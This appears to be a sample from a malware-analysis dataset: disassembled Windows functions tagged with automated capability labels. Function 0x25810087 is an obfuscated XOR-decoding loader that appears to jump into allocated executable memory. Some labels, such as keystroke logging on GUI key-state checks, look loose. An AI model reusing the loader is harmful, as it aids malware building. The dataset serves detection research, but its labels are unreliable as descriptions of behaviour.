joyce8/EMBER2024-capa huggingface dataset:
Function at 0x468483
Capabilities:
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
push esi
push edi
mov edi, dword [ebp + 0x10]
push 0
push 0
push dword [edi + 4]
push dword [edi]
push dword [ebp + 0xc]
call fcn.004639fc
mov esi, eax
test esi, esi
jns 0x4684c9
push str.Failed_to_seek_to_start_point_in_file.
push esi
push 0xf
push 5
push 0x1c5
push str.d:_awixwix_srclibsdutilwixtoolset.dutildlutil.cpp
call fcn.00401228
add esp, 0x18
jmp 0x4685f2
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4685ad
mov eax, dword [ebp - 4]
test eax, eax
je 0x4685f1
xor ebx, ebx
and dword [ebp - 8], ebx
push 0
lea ecx, [ebp - 8]
sub eax, ebx
push ecx
push eax
mov eax, dword [ebp + 0x20]
add eax, ebx
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x468576
add ebx, dword [ebp - 8]
cmp dword [ebp - 8], 0
je 0x468521
mov eax, dword [ebp - 4]
cmp ebx, eax
jb 0x4684f5
push ebx
push dword [ebp + 0x14]
push edi
call fcn.00468402
mov eax, dword [ebp + 0x28]
test eax, eax
je 0x468551
cmp dword [eax], 0
je 0x468551
push dword [ebp + 0xc]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [edi + 4]
push dword [edi]
push eax
call fcn.00467b49
mov esi, eax
test esi, esi
js 0x468560
cmp dword [ebp - 4], 0
jne 0x4684ca
jmp 0x4685f1
push str.UX_aborted_on_cache_progress.
push esi
push 0xf
push 5
push 0x1e4
push str.d:_awixwix_srclibsdutilwixtoolset.dutildlutil.cpp
jmp 0x4685e9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x46858d
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x468594
mov esi, 0x80004005
push esi
mov ebx, 0x1d8
mov edi, str.d:_awixwix_srclibsdutilwixtoolset.dutildlutil.cpp
push ebx
push edi
call fcn.00401225
push str.Failed_to_write_data_from_internet.
jmp 0x4685e2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x4685c4
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x4685cb
mov esi, 0x80004005
push esi
mov ebx, 0x1cc
mov edi, str.d:_awixwix_srclibsdutilwixtoolset.dutildlutil.cpp
push ebx
push edi
call fcn.00401225
push str.Failed_while_reading_from_internet.
push esi
push 0xf
push 5
push ebx
push edi
call fcn.00401228
add esp, 0x18
pop ebx
pop edi
mov eax, esi
pop esi
leave
ret 0x24
Function at 0x46ca80
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x46caad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x46caad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x407860
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x104
push ebx
mov ebx, dword [esp + 0x10c]
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll_fopen]
push 0x40b9b8
push ebx
call edi
mov esi, eax
add esp, 8
test esi, esi
jne 0x40791c
lea eax, [esp + 0xc]
push ebx
push eax
call fcn.00401f20
lea ecx, [esp + 0xc]
push ecx
call fcn.00401ec0
lea ecx, [esp + eax + 0xc]
lea edx, [esp + 0xc]
cmp ecx, edx
jbe 0x4078c2
mov al, byte [ecx]
cmp al, 0x5c
je 0x4078c1
cmp al, 0x2f
je 0x4078c1
dec ecx
lea eax, [esp + 0xc]
cmp ecx, eax
ja 0x4078ac
jmp 0x4078c2
inc ecx
mov byte [ecx], 0
lea ecx, [esp + 0xc]
push ecx
call fcn.004077d0
test eax, eax
jne 0x4078ef
push ebx
push str.jrspoeokomssscljbetgqnfmhcgotqtr
call fcn.00401bb0
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0x104
ret 0xc
push 0x40b9b8
push ebx
call edi
mov esi, eax
add esp, 8
test esi, esi
jne 0x40791c
push ebx
push str.ihdpnrhrgrfmkabdemjlsdnalnk
call fcn.00401bb0
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0x104
ret 0xc
mov edi, dword [esp + 0x11c]
mov edx, dword [esp + 0x118]
push esi
push edi
push 1
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
cmp eax, edi
je 0x40795f
push ebx
push str.omrhjdnblhgbfratchqpipfrnnlbh
call fcn.00401bb0
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0x104
ret 0xc
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x104
ret 0xc
Function at 0x25807297
Capabilities:
Print debug messages

Disassembly:
push 0x1c
mov eax, 0x2581bb95
call fcn.2581acc1
mov eax, dword fs:[0x2c]
xor ebx, ebx
mov ecx, dword [0x25824498]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x25823cc0]
cmp eax, dword [ecx + 4]
jg 0x25807364
cmp byte [0x25823cbc], 0
je 0x2580735e
lea eax, [ebp + 0xc]
push eax
push ebx
push dword [ebp + 8]
call fcn.25810087
push 1
lea esi, [eax + 6]
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov edi, eax
add esp, 0x14
test edi, edi
je 0x2580735e
lea eax, [ebp + 0xc]
push eax
push ebx
push dword [ebp + 8]
push esi
push edi
call fcn.25810087
add esp, 0x14
mov dword [ebp - 0x18], ebx
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], bl
push str._nEFS:TMS:
call fcn.2580cd40
push edi
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 1
call fcn.2580cca0
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, dword [ebp - 0x14]
pop ecx
cmp eax, 0x10
jb 0x2580735e
inc eax
push eax
push dword [ebp - 0x28]
call fcn.25810087
pop ecx
pop ecx
call fcn.2581acb0
ret
mov edi, 0x25823cc0
push edi
call fcn.25810087
cmp dword [0x25823cc0], 0xffffffff
pop ecx
jne 0x258072c5
mov eax, dword [0x25823df0]
mov dword [ebp - 4], ebx
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x2581d220]
call esi
test al, al
je 0x258073c2
mov eax, dword [0x258240cc]
push ebx
push str.enableTMSLogging
push 0x2581db80
mov esi, dword [eax + 0x5a8]
mov ecx, esi
call dword [0x2581d220]
call esi
add esp, 0xc
test ax, ax
mov al, 1
jne 0x258073c6
jmp 0x258073c2
mov al, bl
jmp 0x258073c6
or dword [ebp - 4], 0xffffffff
push edi
mov byte [0x25823cbc], al
call fcn.25810087
pop ecx
jmp 0x258072c5
Function at 0x25810087
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x25810096
pop dword [ebp - 0x38]
mov eax, 0x25810096
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xaafb4c83
sub dword [ebp - 0x48], 0x5ca90738
mov dword [ebp - 0x44], 0x880d466c
add dword [ebp - 0x44], 0xaa2605d9
mov dword [ebp - 0x40], 0x406494e7
sub dword [ebp - 0x40], 0xf41850b9
mov dword [ebp - 0x3c], 0xbd5ce194
sub dword [ebp - 0x3c], 0xbd5ce194
lea eax, [ebp - 0x48]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xe320fc12
sub dword [ebp - 0x48], 0x6eae92bc
mov dword [ebp - 0x44], 0xfb9b5e78
add dword [ebp - 0x44], 0x45d102fd
mov dword [ebp - 0x40], 0xfb90fcc9
sub dword [ebp - 0x40], 0x9821905d
mov dword [ebp - 0x3c], 0xbf848e91
sub dword [ebp - 0x3c], 0xbf848e91
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x71c813cc
sub eax, 0x4c46434c
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x40378
push 0
call eax
mov ecx, 0x431d7c2d
add ecx, 0xbce2da81
xor ebx, ebx
add ebx, eax
mov edi, 0xaca1b148
sub edi, 0x871f1b48
add edi, dword [ebp - 0x38]
mov edx, 0x5114b39b
add edx, 0x5706704b
sub dword [ebp - 0x18], edx
mov esi, dword [edi]
add dword [ebp - 8], 0x7f7af767
xor esi, edx
add dword [ebp - 4], 0xcb31ab79
mov dword [ebx], esi
add ebx, 0x29106061
sub ebx, 0x2910605d
add edi, 0x9340cf98
sub edi, 0x9340cf94
loop 0x258101b0
add eax, 0x9b0a92ca
sub eax, 0x9b09453f
mov ebx, eax
add eax, 0x5d2f634a
sub eax, 0x5d2f6345
mov ecx, 0x25800000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x401b60
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test eax, eax
je 0x401b8c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401b8c
mov ecx, dword [eax + 0x3c]
add ecx, eax
je 0x401b8c
cmp dword [ecx], 0x4550
jne 0x401b8c
mov eax, 1
pop ebp
ret 4
xor eax, eax
pop ebp
ret 4
Function at 0x4064c0
Capabilities:
Log keystrokes via polling

Disassembly:
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
xor esi, esi
push 0x11
call edi
test ax, ax
mov ecx, 8
push 1
cmovs esi, ecx
call edi
test ax, ax
jns 0x4064e5
or esi, 1
push 2
call edi
test ax, ax
jns 0x4064f1
or esi, 2
push 0x10
call edi
test ax, ax
jns 0x4064fd
or esi, 4
push 0x12
call edi
test ax, ax
jns 0x406509
or esi, 0x20
pop edi
mov eax, esi
pop esi
ret
Function at 0x40ad60
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x49a324]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
call dword [sym.imp.USER32.dll_GetFocus]
mov ecx, dword [edi + 0xa8]
cmp eax, ecx
je 0x40ad96
cmp esi, dword [edi + 0x108]
je 0x40ad96
push ecx
call dword [sym.imp.USER32.dll_SetFocus]
mov eax, dword [edi + 0x108]
cmp esi, eax
je 0x40ae89
test eax, eax
je 0x40ae01
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0x17
movlpd qword [ebp - 0x1c], xmm0
movlpd qword [ebp - 0x14], xmm0
movlpd qword [ebp - 0xc], xmm0
mov dword [ebp - 0x20], esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [edi + 0x108]
lea edx, [ebp - 0x24]
mov dword [ebp - 0x1c], eax
push edx
mov eax, dword [ecx]
call dword [eax + 0x134]
push 0
push 0
push 0
push str.killfocus
push dword [edi + 0x108]
mov ecx, edi
call fcn.0040a740
mov dword [edi + 0x108], 0
test esi, esi
je 0x40ae89
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x1c]
cmp eax, edi
jne 0x40ae89
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 0xf4]
call eax
test al, al
je 0x40ae89
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 0x100]
call eax
test al, al
je 0x40ae89
xorps xmm0, xmm0
mov dword [edi + 0x108], esi
movlpd qword [ebp - 0x1c], xmm0
movlpd qword [ebp - 0x14], xmm0
movlpd qword [ebp - 0xc], xmm0
mov dword [ebp - 0x24], 0x18
mov dword [ebp - 0x20], esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [edi + 0x108]
lea edx, [ebp - 0x24]
mov dword [ebp - 0x1c], eax
push edx
mov eax, dword [ecx]
call dword [eax + 0x134]
push 0
push 0
push 0
push str.setfocus
push dword [edi + 0x108]
mov ecx, edi
call fcn.0040a740
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0045edac
mov esp, ebp
pop ebp
ret 4
Function at 0x40d6f0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x49a324]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x40d724
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40d724
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
movzx eax, word [ebx]
test ax, ax
je 0x40d81c
push edi
mov edi, ebx
mov ecx, ebx
mov edx, eax
cmp dx, 0x2f
je 0x40d743
cmp dx, 0x5c
jne 0x40d745
mov edi, ecx
movzx eax, word [ecx + 2]
add ecx, 2
mov edx, eax
test ax, ax
jne 0x40d737
cmp edi, ebx
je 0x40d793
sub edi, ebx
lea eax, [ebp - 0x414]
and edi, 0xfffffffe
push edi
push ebx
push eax
call fcn.00460f60
add esp, 0xc
cmp edi, 0x208
jae 0x40d82c
xor eax, eax
mov word [ebp + edi - 0x414], ax
lea eax, [ebp - 0x414]
push eax
push esi
call fcn.0040d6f0
add esp, 8
xor eax, eax
mov word [ebp - 0x20c], ax
test esi, esi
je 0x40d7c0
lea ecx, [ebp - 0x20c]
sub ecx, esi
nop dword [eax + eax]
movzx eax, word [esi]
lea esi, [esi + 2]
mov word [ecx + esi - 2], ax
test ax, ax
jne 0x40d7b0
mov esi, ebx
mov ax, word [ebx]
add ebx, 2
test ax, ax
jne 0x40d7c2
lea edi, [ebp - 0x20c]
sub ebx, esi
add edi, 0xfffffffe
nop dword [eax + eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x40d7e0
mov ecx, ebx
lea eax, [ebp - 0x20c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
pop edi
cmp eax, 0xffffffff
jne 0x40d81c
push 0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0045edac
mov esp, ebp
pop ebp
ret
call fcn.0045f74d
int3
Function at 0x40e190
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, ecx
mov dword [ebp - 8], ebx
cmp dword [ebx], 0
jne 0x40e33c
cmp dword [ebx + 4], 0xffffffff
jne 0x40e33c
push edi
lea edi, [ebx + 0x244]
push edi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, edi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40e1c7
sub ecx, edx
sar ecx, 1
movzx eax, word [ebx + ecx*2 + 0x242]
cmp eax, 0x5c
je 0x40e203
cmp eax, 0x2f
je 0x40e203
add edi, 0xfffffffe
nop dword [eax + eax]
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x40e1f0
mov eax, dword [0x47c774]
mov dword [edi], eax
mov edi, dword [ebp + 0x10]
push esi
cmp edi, 1
jne 0x40e22e
mov esi, dword [ebp + 8]
push edi
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x40e249
pop esi
pop edi
mov eax, 0x2000000
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp edi, 2
je 0x40e246
cmp edi, 3
je 0x40e246
pop esi
pop edi
mov eax, 0x10000
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov esi, dword [ebp + 8]
xor ebx, ebx
xor al, al
mov byte [ebp - 1], al
mov byte [ebp + 0x13], bl
cmp edi, 1
je 0x40e28f
cmp edi, 2
jne 0x40e2ab
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40e289
pop esi
pop edi
mov eax, 0x200
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov byte [ebp + 0x13], 1
jmp 0x40e295
mov ebx, esi
mov byte [ebp + 0x13], 0
push 1
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
setne al
mov byte [ebp - 1], al
push 0x20
call fcn.0045edc2
add esp, 4
mov esi, eax
cmp edi, 1
je 0x40e2e6
cmp edi, 2
je 0x40e2e6
mov eax, dword [ebp + 8]
mov dword [esi + 0x14], eax
mov eax, dword [ebp + 0xc]
mov word [esi], 0x100
mov byte [esi + 0x10], 0
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], 0
mov dword [esi + 0xc], 0
jmp 0x40e317
mov al, byte [ebp + 0x13]
mov byte [esi + 0x10], al
mov al, byte [ebp - 1]
mov byte [esi], 1
mov byte [esi + 1], al
mov dword [esi + 4], ebx
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
test al, al
je 0x40e317
push 1
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [esi + 0xc], eax
push esi
call fcn.004112d0
mov ecx, dword [ebp - 8]
add esp, 4
mov edx, 0x200
mov dword [ecx], eax
xor ecx, ecx
test eax, eax
pop esi
cmove ecx, edx
pop edi
mov eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, 0x1000000
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40e9a0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
movsx eax, byte [ebp + 0xc]
mov ecx, dword [edx]
xor eax, ecx
movzx eax, al
shr ecx, 8
mov eax, dword [eax*4 + 0x47dab0]
xor eax, ecx
mov ecx, dword [edx + 8]
mov dword [edx], eax
movzx eax, al
add eax, dword [edx + 4]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x47dab0]
mov dword [edx + 8], ecx
pop ebp
ret
Function at 0x410e60
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x49a324]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, esi
imul ebx, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0x14]
mov dword [ebp - 8], eax
cmp byte [edi], 0
je 0x410ebb
push 0
lea ecx, [ebp - 8]
push ecx
push ebx
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x410ea3
mov byte [edi + 8], 1
mov eax, dword [ebp - 8]
xor edx, edx
pop edi
div esi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045edac
mov esp, ebp
pop ebp
ret
mov edx, dword [edi + 0x1c]
mov esi, dword [edi + 0x18]
mov ecx, dword [edi + 0x14]
sub esi, edx
lea eax, [edx + ebx]
cmp eax, dword [edi + 0x18]
cmovbe esi, ebx
add ecx, edx
push esi
push ecx
push dword [ebp - 8]
call fcn.00460f60
add dword [edi + 0x1c], esi
add esp, 0xc
mov ecx, dword [ebp - 4]
mov eax, esi
xor edx, edx
xor ecx, ebp
div dword [ebp + 0xc]
pop edi
pop esi
pop ebx
call fcn.0045edac
mov esp, ebp
pop ebp
ret

Function at 0x410f00
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
test edx, edx
jne 0x410f0e
xor eax, eax
pop ebp
ret
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
not eax
cmp esi, 8
jb 0x410fcd
push edi
mov edi, esi
shr edi, 3
movzx ecx, byte [edx]
sub esi, 8
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x47dab0]
movzx ecx, byte [edx + 1]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x47dab0]
movzx ecx, byte [edx + 2]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x47dab0]
movzx ecx, byte [edx + 3]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x47dab0]
movzx ecx, byte [edx + 4]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x47dab0]
movzx ecx, byte [edx + 5]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x47dab0]
movzx ecx, byte [edx + 6]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x47dab0]
movzx ecx, byte [edx + 7]
add edx, 8
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x47dab0]
sub edi, 1
jne 0x410f26
pop edi
test esi, esi
je 0x410feb
movzx ecx, byte [edx]
lea edx, [edx + 1]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x47dab0]
sub esi, 1
jne 0x410fd1
not eax
pop esi
pop ebp
ret
Function at 0x41fcb0
Capabilities:
Extract resource via kernel32 functions
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
movzx eax, word [ebp + 8]
mov dword [ebp + 8], eax
pop ebp
jmp fcn.0041fe50
Function at 0x4300a0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword [esi + 0x69c], 0
je 0x43010d
cmp dword [ebp + 8], 0x100
jne 0x4300fd
cmp word [ebp + 0xc], 0xd
jne 0x4300fd
cmp byte [esi + 0x6a2], 0
je 0x4300de
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x4300fd
cmp byte [esi + 0x6a3], 0
jne 0x4300fd
mov ecx, dword [esi + 0x44]
test ecx, ecx
je 0x4300f6
push 0
push 0
push 0
push str.return
push esi
call fcn.0040a740
xor eax, eax
pop esi
pop ebp
ret 0x10
mov eax, dword [esi + 0x69c]
pop esi
mov ecx, dword [eax + 0xc]
mov eax, dword [ecx]
pop ebp
jmp dword [eax + 0xc]
mov eax, 1
pop esi
pop ebp
ret 0x10
Function at 0x438870
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
push edi
mov eax, dword [esi]
mov eax, dword [eax + 0x108]
call eax
mov edi, dword [ebp + 8]
test al, al
jne 0x4388ae
mov eax, dword [edi]
sub eax, 9
cmp eax, 0xc
ja 0x4388ae
mov ecx, dword [esi + 0x6d0]
push edi
test ecx, ecx
jne 0x438a64
mov ecx, esi
call fcn.00431fe0
pop edi
pop esi
pop ebp
ret 4
mov eax, dword [edi]
cmp eax, 0x13
jne 0x4388dd
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 0x100]
call eax
test al, al
je 0x438a76
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x18]
mov ecx, esi
call fcn.0043acf0
pop edi
pop esi
pop ebp
ret 4
cmp eax, 3
jne 0x4388f9
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 0x100]
call eax
test al, al
je 0x4388f9
cmp word [edi + 0x14], 0xd
je 0x4388c9
cmp dword [edi], 0xd
jne 0x438956
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 0x100]
call eax
test al, al
je 0x438a76
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
mov edi, dword [esi + 0x6c0]
lea esi, [esi + 0x6c0]
mov ecx, 0x8000
and ax, cx
mov ecx, esi
je 0x43894b
mov eax, dword [edi + 0x10]
call eax
test al, al
mov ecx, esi
sete al
movzx eax, al
push eax
call dword [edi + 0x18]
pop edi
pop esi
pop ebp
ret 4
push 1
call dword [edi + 0x14]
pop edi
pop esi
pop ebp
ret 4
mov ecx, dword [esi + 0x6d0]
test ecx, ecx
je 0x438973
mov eax, dword [ecx]
call dword [eax + 4]
cmp byte [eax + 0x458], 0
je 0x438973
cmp dword [edi], 0xf
je 0x4388fe
mov eax, dword [edi]
cmp eax, 0xe
jne 0x4389a8
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 0x100]
call eax
test al, al
je 0x438a76
mov ecx, dword [esi + 0x44]
push 0
push 0
push 0
push str.itemclick
push esi
call fcn.0040a740
pop edi
pop esi
pop ebp
ret 4
cmp eax, 9
je 0x438a76
cmp eax, 0xb
jne 0x4389de
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 0x100]
call eax
test al, al
je 0x438a76
or dword [esi + 0x6cc], 8
mov ecx, esi
call fcn.0043acf0
pop edi
pop esi
pop ebp
ret 4
cmp eax, 0xa
jne 0x438a07
mov eax, dword [esi + 0x6cc]
test al, 8
je 0x438a76
and eax, 0xfffffff7
mov ecx, esi
mov dword [esi + 0x6cc], eax
call fcn.0043acf0
pop edi
pop esi
pop ebp
ret 4
cmp eax, 0x1b
jne 0x438a28
mov ecx, dword [esi + 0x44]
push 0
push dword [edi + 0x1c]
push dword [edi + 0x18]
push str.timer
push esi
call fcn.0040a740
pop edi
pop esi
pop ebp
ret 4
cmp eax, 0x14
jne 0x438a59
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 0xdc]
call eax
test al, al
je 0x438a59
mov ecx, dword [esi + 0x44]
push 0
push dword [edi + 0x1c]
push dword [edi + 0x18]
push str.menu
push esi
call fcn.0040a740
pop edi
pop esi
pop ebp
ret 4
mov ecx, dword [esi + 0x6d0]
push edi
test ecx, ecx
je 0x438a6f
mov eax, dword [ecx]
call dword [eax + 0x18]
pop edi
pop esi
pop ebp
ret 4
mov ecx, esi
call fcn.00417300
pop edi
pop esi
pop ebp
ret 4
Function at 0x438e60
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
push edi
mov eax, dword [esi]
mov eax, dword [eax + 0x108]
call eax
mov edi, dword [ebp + 8]
test al, al
jne 0x438e9c
mov eax, dword [edi]
sub eax, 9
cmp eax, 0xc
ja 0x438e9c
mov ecx, dword [esi + 0x560]
push edi
test ecx, ecx
je 0x438f9b
mov eax, dword [ecx]
call dword [eax + 0x18]
pop edi
pop esi
pop ebp
ret 4
mov ecx, dword [esi + 0x560]
test ecx, ecx
je 0x438f11
mov eax, dword [ecx]
call dword [eax + 4]
cmp byte [eax + 0x458], 0
je 0x438f11
cmp dword [edi], 0xf
jne 0x438f11
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 0x100]
call eax
test al, al
je 0x438fa2
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
mov edi, dword [esi + 0x550]
lea esi, [esi + 0x550]
mov ecx, 0x8000
and ax, cx
mov ecx, esi
je 0x438f06
mov eax, dword [edi + 0x10]
call eax
test al, al
mov ecx, esi
sete al
movzx eax, al
push eax
call dword [edi + 0x18]
pop edi
pop esi
pop ebp
ret 4
push 1
call dword [edi + 0x14]
pop edi
pop esi
pop ebp
ret 4
mov eax, dword [edi]
cmp eax, 0xd
je 0x438eb9
cmp eax, 0xe
jne 0x438f47
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 0x100]
call eax
test al, al
je 0x438fa2
mov ecx, dword [esi + 0x44]
push 0
push 0
push 0
push str.itemclick
push esi
call fcn.0040a740
pop edi
pop esi
pop ebp
ret 4
cmp eax, 9
je 0x438fa2
cmp eax, 0xb
jne 0x438f75
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 0x100]
call eax
test al, al
je 0x438fa2
or dword [esi + 0x55c], 8
mov ecx, esi
call fcn.0043acf0
pop edi
pop esi
pop ebp
ret 4
cmp eax, 0xa
jne 0x438f9a
mov eax, dword [esi + 0x55c]
test al, 8
je 0x438fa2
and eax, 0xfffffff7
mov ecx, esi
mov dword [esi + 0x55c], eax
call fcn.0043acf0
pop edi
pop esi
pop ebp
ret 4
push edi
mov ecx, esi
call fcn.00438a80
pop edi
pop esi
pop ebp
ret 4